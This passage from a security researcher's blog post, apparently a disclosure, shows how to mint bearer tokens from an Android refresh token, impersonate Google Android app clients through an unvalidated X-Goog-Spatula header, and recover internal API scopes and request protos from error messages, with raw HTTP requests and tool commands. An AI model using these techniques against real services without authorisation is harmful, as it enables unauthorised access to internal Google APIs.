androidId=fb213fefa471dcde&amp;Token=&lt;oauth_token&gt;&amp;service=ac2dm&amp;get_accountid=1&amp;ACCESS_TOKEN=1&amp;callerPkg=com.google.android.gms&amp;add_account=1&amp;callerSig=38918a453d07199354f8b19af05ec6562ced5788</code></pre></br>

<p>The <code>androidId</code> is just any random 16 character hex string. At the moment you don&#39;t require this for generating a bearer token, but this could change in the future so it&#39;s advisable to store it along with your Android refresh token.<br></br></p>
<blockquote>
<p>On newer Android versions, a DroidGuard token is also supplied to this request. My guess is that it&#39;s likely an anti-abuse measure. However, they&#39;re unable to enforce this token without breaking Google Play Services support for older Android devices. It&#39;s possible this could be changed in the future though.</p>
</blockquote>
</br>

<p>The response to the request will look something like this:</p>
</br>

<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/plain; charset=utf-8

<span class="language-xml">Token=aas_et/<span class="hljs-tag">&lt;<span class="hljs-name">redacted</span>&gt;</span>
Auth=g.a000<span class="hljs-tag">&lt;<span class="hljs-name">redacted</span>&gt;</span>
SID=BAD_COOKIE
LSID=BAD_COOKIE
services=mail,hist,dynamite,cl,youtube,jotspot,uif,multilogin,analytics
Email=<span class="hljs-tag">&lt;<span class="hljs-name">redacted</span>&gt;</span>@gmail.com
GooglePlusUpdate=0
firstName=<span class="hljs-tag">&lt;<span class="hljs-name">redacted</span>&gt;</span>
lastName=<span class="hljs-tag">&lt;<span class="hljs-name">redacted</span>&gt;</span>
capabilities.canHaveUsername=1
capabilities.canHavePassword=1
...</span></code></pre></br>

<p>You can actually see this Android device on <a href="https://myaccount.google.com/device-activity" >https://myaccount.google.com/device-activity</a></p>
<h3 id="generating-a-bearer-token">Generating a Bearer Token</h3><p>Now that you have an Android refresh token, you can use this to generate a bearer token in the context of a Android app&#39;s Google Cloud project with the scopes that you require.</p>
</br>

<p>This is an example request to generate scopes for Google Play Games to use with <code>playgateway-pa.googleapis.com</code></p>
</br>

<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/auth</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>android.googleapis.com
<span class="hljs-attribute">User-Agent</span><span class="hljs-punctuation">: </span>GoogleAuth/1.4
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>808
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded

<span class="language-bash">androidId=fb213fefa471dcde&amp;app=com.google.android.play.games&amp;service=oauth2:https://www.googleapis.com/auth/games.firstparty https://www.googleapis.com/auth/googleplay&amp;client_sig=38918a453d07199354f8b19af05ec6562ced5788&amp;has_permission=1&amp;Token=&lt;redacted&gt;</span></code></pre></br>

<p>Let&#39;s breakdown everything in that request:</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Explanation</th>
</tr>
</thead>
<tbody><tr>
<td>android_id</td>
<td>This isn't validated, it can be any 16 character hex string</td>
</tr>
<tr>
<td>app</td>
<td>Package name of the app that's cloud project context you wish to use.</td>
</tr>
<tr>
<td>service</td>
<td>Space seperated scopes</td>
</tr>
<tr>
<td>client_sig</td>
<td>SHA1 hash in hex format of the app's signature</td>
</tr>
<tr>
<td>has_permission</td>
<td>Only required on few android clients that don't have auto mode enabled for them.</td>
</tr>
<tr>
<td>Token</td>
<td>Your Android refresh token</td>
</tr>
</tbody></table>

<blockquote>
<p>It&#39;s actually possible to omit <code>client_sig</code> and <code>app</code> for certain scopes, but you wouldn&#39;t have the context of the Google API project and this does not work for most scopes.</p>
</blockquote>
</br>

<p>The first problem we have is, let&#39;s say we want to get authentication on the following Google Internal People API endpoint: <code>https://people-pa.googleapis.com/v2/people</code> to start playing around with it, how would we know what scopes this endpoint needs?</p>
</br>

<p>In this case, there&#39;s a <a href="https://people-pa.googleapis.com/$discovery/rest" >public discovery document</a> that lists all the endpoints and the scopes for each of them, but many Google APIs may require an API key to access the discovery document which we may not always have (ex. <a href="https://gameswhitelisted.googleapis.com/$discovery/rest" >gameswhitelisted</a>).</p>
</br>

<p>Turns out, if we send a request to an endpoint with a bearer token with insufficient scopes, it actually tells us all the scopes we need:</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http">GET /v2/people
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>people-pa.googleapis.com
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>Bearer ya29.&lt;redacted&gt;</code></pre></br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">403</span> Forbidden
<span class="hljs-attribute">Www-Authenticate</span><span class="hljs-punctuation">: </span>Bearer realm=&quot;https://accounts.google.com/&quot;, error=&quot;insufficient_scope&quot;, scope=&quot;https://www.googleapis.com/auth/peopleapi.legacy.readwrite https://www.googleapis.com/auth/plus.peopleapi.readwrite https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite openid https://www.googleapis.com/auth/plus.me&quot;
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-bash">{
  <span class="hljs-string">&quot;error&quot;</span>: {
    <span class="hljs-string">&quot;code&quot;</span>: 403,
    <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Request had insufficient authentication scopes.&quot;</span>,
    ...
        <span class="hljs-string">&quot;metadata&quot;</span>: {
          <span class="hljs-string">&quot;service&quot;</span>: <span class="hljs-string">&quot;people-pa.googleapis.com&quot;</span>,
          <span class="hljs-string">&quot;method&quot;</span>: <span class="hljs-string">&quot;google.internal.people.v2.InternalPeopleService.GetPeople&quot;</span>
        }
    ...
  }
}
</span></code></pre><blockquote>
<p>Something interesting to note: <code>google.internal.people.v2.InternalPeopleService.GetPeople</code> is actually the gRPC service name of the endpoint.</p>
</blockquote>
</br>

<p>To simply this process, I wrote a Go script that I&#39;ve <a href="https://github.com/ddd/req2proto/tree/main/tools/gapi-service" >published on GitHub</a> that we can use to easily get this information:</p>
<pre><code class="hljs language-bash">$ <span class="hljs-built_in">export</span> ANDROID_REFRESH_TOKEN=<span class="hljs-string">&quot;&lt;redacted&gt;&quot;</span>
$ git <span class="hljs-built_in">clone</span> https://github.com/ddd/req2proto
$ <span class="hljs-built_in">cd</span> tools/gapi-service
$ go build <span class="hljs-comment"># this requires golang to be installed, see https://go.dev/doc/install</span>
$ ./gapi-service -e https://people-pa.googleapis.com/v2/people
scopes: https://www.googleapis.com/auth/peopleapi.legacy.readwrite https://www.googleapis.com/auth/plus.peopleapi.readwrite https://www.googleapis.com/auth/peopleapi.readwrite
method: google.internal.people.v2.InternalPeopleService.InsertPerson
service: people-pa.googleapis.com</code></pre><p>Now that we have the scopes we need. Let&#39;s say we want to call this endpoint in the context of Google Chat. We can get the package name <code>com.google.android.apps.dynamite</code> from the Play Store web URL (<a href="https://play.google.com/store/apps/details?id=com.google.android.apps.dynamite" >https://play.google.com/store/apps/details?id=com.google.android.apps.dynamite</a>) but we still need the <code>client_sig</code> of the app.</p>
</br>

<p>While this is true for most cases, the client signature isn&#39;t necessarily always the SHA1 hash of the target app&#39;s signature. To solve this problem, I collected the package names as well as SHA1 client signature of all Google apps and wrote a <a href="https://github.com/ddd/req2proto/tree/main/tools/aas-rs" >Rust program</a> that bruteforces all SHA1 signature and package name combinations to find working ones. You can find the output of this script <a href="https://github.com/ddd/req2proto/blob/main/tools/data/android_clients.json" >here</a></p>
</br>

<p>We can simply search this file for <code>com.google.android.apps.dynamite</code> and we can see that the client_sig <code>519c5a17a60596e6fe5933b9cb4285e7b0e5eb7b</code> works for this app:</p>
<pre><code class="hljs language-json"><span class="hljs-attr">&quot;com.google.android.apps.dynamite&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;spatula&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;CkAKIGNvbS5nb29nbGUuYW5kcm9pZC5hcHBzLmR5bmFtaXRlGhxVWnhhRjZZRmx1YitXVE81eTBLRjU3RGw2M3M9GLingOeJmKD6Ng==&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;sig&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;519c5a17a60596e6fe5933b9cb4285e7b0e5eb7b&quot;</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
</code></pre><h3 id="a-word-on-x-goog-spatula">A word on X-Goog-Spatula</h3><p>Even though we may have authentication in the context of an app&#39;s Google API project, we can&#39;t just fetch the discovery document with it. That&#39;s where <code>X-Goog-Spatula</code> comes in. If you&#39;ve ever looked at Android traffic to Google APIs, you might have noticed this header.</p>
</br>

<p>It&#39;s actually just a keyless authentication header. Similar to an API key, it&#39;s used to provide context to a specific Google Cloud project.</p>
</br>

<p>They look like this (base64-encoded protobuf):<br><code>Cj0KHWNvbS5nb29nbGUuYW5kcm9pZC5wbGF5LmdhbWVzGhxPSkdLUlQwSEdaTlUrTEdhOEY3R1ZpenRWNGc9GLingOeJmKD6Ng==</code></p>
<p>If we look at how this is formed:</p>
<pre><code class="hljs language-proto">$ echo -n <span class="hljs-string">&quot;Cj0KHWNvbS5nb29nbGUuYW5kcm9pZC5wbGF5LmdhbWVzGhxPSkdLUlQwSEdaTlUrTEdhOEY3R1ZpenRWNGc9GLingOeJmKD6Ng==&quot;</span> | base64 -d | protoc --decode_raw
<span class="hljs-number">1</span> {
  <span class="hljs-number">1</span>: <span class="hljs-string">&quot;com.google.android.play.games&quot;</span> <span class="hljs-comment">// package name</span>
  <span class="hljs-number">3</span>: <span class="hljs-string">&quot;6Zi8TwQNyiOD+us24/5aYpwxt5A=&quot;</span> <span class="hljs-comment">// base64 of SHA1 hash of the app signature</span>
}
<span class="hljs-number">3</span>: <span class="hljs-number">3959931537119515576</span> <span class="hljs-comment">// this is generated from DroidGuard using the device_key</span></code></pre><p>This example is from some Spatula header I <a href="https://github.com/4kumano/reftoken/blob/99d1d980c0015c8b1113cb65b02ee0ede96ae471/sumber.txt" >found on the internet</a></p>
</br>

<p>If you wish to dive into how this DroidGuard value is generated, there&#39;s <a href="https://gist.github.com/Romern/e58e634e4d70b2be5b57d7abdb77f7ef" >an awesome gist</a> on this, but we don&#39;t actually need to care about that in order to utilize it. As it turns out, this value isn&#39;t actually validated, and we can impersonate any client we want by simply changing the package name and SHA1 hash of the app signature.</p>
</br>

<p>Since just like API keys, they provide context of a Google Cloud project, we&#39;re actually able to use this to fetch discovery documents of several Android Google APIs like <code>gameswhitelisted.googleapis.com</code>:</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http">GET /$discovery/rest
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>gameswhitelisted.googleapis.com
<span class="hljs-attribute">X-Goog-Spatula</span><span class="hljs-punctuation">: </span>Cj0KHWNvbS5nb29nbGUuYW5kcm9pZC5wbGF5LmdhbWVzGhxPSkdLUlQwSEdaTlUrTEdhOEY3R1ZpenRWNGc9GLingOeJmKD6Ng==</code></pre></br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-bash">{
  <span class="hljs-string">&quot;kind&quot;</span>: <span class="hljs-string">&quot;discovery#restDescription&quot;</span>,
  <span class="hljs-string">&quot;description&quot;</span>: <span class="hljs-string">&quot;Internal-only 1P access to the oneup APIs.&quot;</span>,
  ...</span></code></pre><blockquote>
<p>We can actually use this along with Cookie authentication on the web, as a direct replacement for <code>X-Goog-Api-Key</code> to get us access to the context of an Android app&#39;s Google Cloud project</p>
</blockquote>
<h3 id="leaking-request-parameters-through-error-messages">Leaking request parameters through error messages</h3><p>Occasionally we may come across Google APIs where there&#39;s seemingly no way to access the discovery document. This could be due to not being able to find a working API key/spatula, 404 page or otherwise. One such example is YouTube&#39;s Internal API:</p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http">GET /$discovery/rest
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com</code></pre></br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">405</span> Method Not Allowed
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/html; charset=UTF-8
<span class="hljs-attribute">Referrer-Policy</span><span class="hljs-punctuation">: </span>no-referrer
...</code></pre><blockquote>
<p>Fun fact: there&#39;s actually 2 workaround methods to leaking the discovery document of the Innertube API. Are you able to find them? :)<br><strong>Update 2025-03-01:</strong> Google has <a href="https://x.com/brutecat/status/1894282218929037727" >removed</a> both the prod (<a href="https://tracker.brute.network/api/documents/youtubei.googleapis.com" >archive</a>) and staging (<a href="https://tracker.brute.network/api/documents/green-youtubei.sandbox.googleapis.com" >archive</a>) discovery documents.</p>
</blockquote>
</br>

<p>If we take a look at a random Innertube API endpoint, such as <code>/youtubei/v1/browse</code> endpoint and clean it up:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/browse</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>164

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;context&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;client&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;clientName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;WEB&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;clientVersion&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2.20241101.01.00&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;browseId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;UCX6OQ3DkcsbYNE6H8uQQuVA&quot;</span>
<span class="hljs-punctuation">}</span></span></code></pre><p>The request payload is in the json format. The <code>browseId</code> seems to be accepting the YouTube Channel ID as a string. What happens if we change that to a boolean like <code>true</code></p>
</br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/browse</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>141

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;context&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;client&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;clientName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;WEB&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;clientVersion&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2.20241101.01.00&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;browseId&quot;</span><span class="hljs-punctuation">:</span><span class="hljs-literal"><span class="hljs-keyword">true</span></span>
<span class="hljs-punctuation">}</span></span></code></pre></br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">400</span> Bad Request
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">400</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), true&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;errors&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), true&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;reason&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;invalid&quot;</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INVALID_ARGUMENT&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;details&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;@type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;type.googleapis.com/google.rpc.BadRequest&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;fieldViolations&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
          <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;field&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;browse_id&quot;</span><span class="hljs-punctuation">,</span>
            <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), true&quot;</span>
          <span class="hljs-punctuation">}</span>
        <span class="hljs-punctuation">]</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">]</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></span></code></pre><p>It tells us that <code>browse_id</code> is a TYPE_STRING. So awesome, we can leak the parameter type if we know the parameter name. But how can we take this a step further?</p>
</br>

<p>As it turns out, in Google, there&#39;s 4 different content types:</p>
<ul>
<li>application/json (aka. JSON)</li>
<li>application/json+protobuf (aka. ProtoJson)</li>
<li>application/x-protobuf (aka. <a href="https://googleapis.github.io/HowToRPC.html" >Proto over HTTP fallback</a>)</li>
<li>application/grpc</li>
</ul>
</br>

<p>In Google, all endpoints are defined in <code>.proto</code> files such that they can be queried over gRPC. To allow for JSON, ProtoJson and Proto over HTTP, there&#39;s a Extensible Service Proxy (ESP) that <a href="https://cloud.google.com/endpoints/docs/grpc/transcoding" >transcodes these requests to gRPC</a> before they hit the actual Google microservice.</p>
</br>

<p>For instance, if a requests JSON payload looks like this:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;John Smith&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;age&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">25</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;favoriteColor&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;orange&quot;</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>The protobuf representation of this would look like this:</p>
<pre><code class="hljs language-proto"><span class="hljs-keyword">message </span><span class="hljs-title class_">Request</span> {
  <span class="hljs-type">string</span> name = <span class="hljs-number">1</span>;
  <span class="hljs-type">string</span> age = <span class="hljs-number">2</span>;
  <span class="hljs-type">string</span> favourite_color = <span class="hljs-number">3</span>;
}</code></pre><p>The idea with protobuf is that sending <code>&quot;name&quot;</code>, <code>&quot;age&quot;</code> and <code>&quot;favoriteColor&quot;</code> from the client to the server in every request is a waste of bandwidth especially if the server knows what to expect from the client. Hence, protobuf is just a binary format compressing the data as much as possible. It does this by assigning everything an index (ex. name is 1, age is 2 etc.)</p>
</br>

<p>ProtoJson is similar to this, except you just send an array rather than compressing it to protobuf:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">[</span>
  <span class="hljs-string">&quot;John Smith&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-number">25</span><span class="hljs-punctuation">,</span>
  <span class="hljs-string">&quot;orange&quot;</span>
<span class="hljs-punctuation">]</span></code></pre><p>You can probably see where we&#39;re going with this, what if we just sent the following to this endpoint:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">[</span><span class="hljs-number">1</span><span class="hljs-punctuation">,</span><span class="hljs-number">2</span><span class="hljs-punctuation">,</span><span class="hljs-number">3</span><span class="hljs-punctuation">,</span><span class="hljs-number">4</span><span class="hljs-punctuation">,</span><span class="hljs-number">5</span><span class="hljs-punctuation">,</span><span class="hljs-number">6</span><span class="hljs-punctuation">,</span><span class="hljs-number">7</span><span class="hljs-punctuation">,</span><span class="hljs-number">8</span><span class="hljs-punctuation">,</span><span class="hljs-number">9</span><span class="hljs-punctuation">,</span><span class="hljs-number">10</span><span class="hljs-punctuation">,</span><span class="hljs-number">11</span><span class="hljs-punctuation">,</span><span class="hljs-number">12</span><span class="hljs-punctuation">,</span><span class="hljs-number">13</span><span class="hljs-punctuation">,</span><span class="hljs-number">14</span><span class="hljs-punctuation">,</span><span class="hljs-number">15</span><span class="hljs-punctuation">,</span><span class="hljs-number">16</span><span class="hljs-punctuation">,</span><span class="hljs-number">17</span><span class="hljs-punctuation">,</span><span class="hljs-number">18</span><span class="hljs-punctuation">,</span><span class="hljs-number">19</span><span class="hljs-punctuation">,</span><span class="hljs-number">20</span><span class="hljs-punctuation">,</span><span class="hljs-number">21</span><span class="hljs-punctuation">,</span><span class="hljs-number">22</span><span class="hljs-punctuation">,</span><span class="hljs-number">23</span><span class="hljs-punctuation">,</span><span class="hljs-number">24</span><span class="hljs-punctuation">,</span><span class="hljs-number">25</span><span class="hljs-punctuation">,</span><span class="hljs-number">26</span><span class="hljs-punctuation">,</span><span class="hljs-number">27</span><span class="hljs-punctuation">,</span><span class="hljs-number">28</span><span class="hljs-punctuation">,</span><span class="hljs-number">29</span><span class="hljs-punctuation">,</span><span class="hljs-number">30</span><span class="hljs-punctuation">]</span></code></pre></br>

<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/browse</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>22

[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30]</code></pre></br>

<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">400</span> Bad Request
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-bash">{
  <span class="hljs-string">&quot;error&quot;</span>: {
    <span class="hljs-string">&quot;code&quot;</span>: 400,
    <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Invalid value at &#x27;context&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext), 1\nInvalid value at &#x27;browse_id&#x27; (TYPE_STRING), 2\nInvalid value at &#x27;params&#x27; (TYPE_STRING), 3\nInvalid value at &#x27;continuation&#x27; (TYPE_STRING), 7\nInvalid value at &#x27;force_ad_format&#x27; (TYPE_STRING), 8\nInvalid value at &#x27;player_request&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.PlayerRequest), 10\nInvalid value at &#x27;query&#x27; (TYPE_STRING), 11\nInvalid value at &#x27;has_external_ad_vars&#x27; (TYPE_BOOL), 12\nInvalid value at &#x27;force_ad_parameters&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ForceAdParameters), 13\nInvalid value at &#x27;previous_ad_information&#x27; (TYPE_STRING), 14\nInvalid value at &#x27;offline&#x27; (TYPE_BOOL), 15\nInvalid value at &#x27;unplugged_sort_filter_options&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedSortFilterOptions), 16\nInvalid value at &#x27;offline_mode_forced&#x27; (TYPE_BOOL), 17\nInvalid value at &#x27;form_data&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseFormData), 18\nInvalid value at &#x27;suggest_stats&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.SearchboxStats), 19\nInvalid value at &#x27;lite_client_request_data&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.LiteClientRequestData), 20\nInvalid value at &#x27;unplugged_browse_options&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedBrowseOptions), 22\nInvalid value at &#x27;consistency_token&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ConsistencyToken), 23\nInvalid value at &#x27;intended_deeplink&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DeeplinkData), 24\nInvalid value at &#x27;android_extended_permissions&#x27; (TYPE_BOOL), 25\nInvalid value at &#x27;browse_notification_params&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseNotificationsParams), 26\nInvalid value at &#x27;recent_user_event_infos&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.RecentUserEventInfo), 28\nInvalid value at &#x27;detected_activity_info&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DetectedActivityInfo), 30&quot;</span>,
    ...
}</span></code></pre></br>

<p>We can find every non-integer parameter this way. We can then send only booleans instead to find all non-boolean parameters (including integer parameters). We can repeat this for nested messages to find the entire possible request payload.</p>
</br>

<p>To simplify this process, I wrote a Go tool called <a href="https://github.com/ddd/req2proto" >req2proto</a> which we can use to automate this.</p>
<pre><code class="hljs language-bash">$ git <span class="hljs-built_in">clone</span> https://github.com/ddd/req2proto
$ go build <span class="hljs-comment"># this requires golang to be installed, see https://go.dev/doc/install</span>
$ ./req2proto -X POST -u https://youtubei.googleapis.com/youtubei/v1/browse -p youtube.api.pfiinnertube.GetBrowseRequest -o output -d 3 -v</code></pre></br>

<p>If we look at <code>output/youtube/api/pfiinnertube/message.proto</code>, we can see the full request proto for this endpoint:</p>
</br>

<pre><code class="hljs language-proto">syntax = <span class="hljs-string">&quot;proto3&quot;</span>;

<span class="hljs-keyword">package</span> youtube.api.pfiinnertube;

<span class="hljs-keyword">message </span><span class="hljs-title class_">GetBrowseRequest</span> {
  InnerTubeContext context = <span class="hljs-number">1</span>;
  <span class="hljs-type">string</span> browse_id = <span class="hljs-number">2</span>;
  <span class="hljs-type">string</span> params = <span class="hljs-number">3</span>;
  <span class="hljs-type">string</span> continuation = <span class="hljs-number">7</span>;
  <span class="hljs-type">string</span> force_ad_format = <span class="hljs-number">8</span>;
  <span class="hljs-type">int32</span> debug_level = <span class="hljs-number">9</span>;
  PlayerRequest player_request = <span class="hljs-number">10</span>;
  <span class="hljs-type">string</span> query = <span class="hljs-number">11</span>;
  <span class="hljs-type">bool</span> has_external_ad_vars = <span class="hljs-number">12</span>;
  ForceAdParameters force_ad_parameters = <span class="hljs-number">13</span>;
  <span class="hljs-type">string</span> previous_ad_information = <span class="hljs-number">14</span>;
  <span class="hljs-type">bool</span> offline = <span class="hljs-number">15</span>;
  UnpluggedSortFilterOptions unplugged_sort_filter_options = <span class="hljs-number">16</span>;
  <span class="hljs-type">bool</span> offline_mode_forced = <span class="hljs-number">17</span>;
  BrowseFormData form_data = <span class="hljs-number">18</span>;
  SearchboxStats suggest_stats = <span class="hljs-number">19</span>;
  LiteClientRequestData lite_client_request_data = <span class="hljs-number">20</span>;
  UnpluggedBrowseOptions unplugged_browse_options = <span class="hljs-number">22</span>;
  ConsistencyToken consistency_token = <span class="hljs-number">23</span>;
  DeeplinkData intended_deeplink = <span class="hljs-number">24</span>;
  <span class="hljs-type">bool</span> android_extended_permissions = <span class="hljs-number">25</span>;
  BrowseNotificationsParams browse_notification_params = <span class="hljs-number">26</span>;
  <span class="hljs-type">int32</span> installed_sharing_service_ids = <span class="hljs-number">27</span>;
  RecentUserEventInfo recent_user_event_infos = <span class="hljs-number">28</span>;
  InlineSettingStatus inline_setting_status = <span class="hljs-number">29</span>;
  DetectedActivityInfo detected_activity_info = <span class="hljs-number">30</span>;
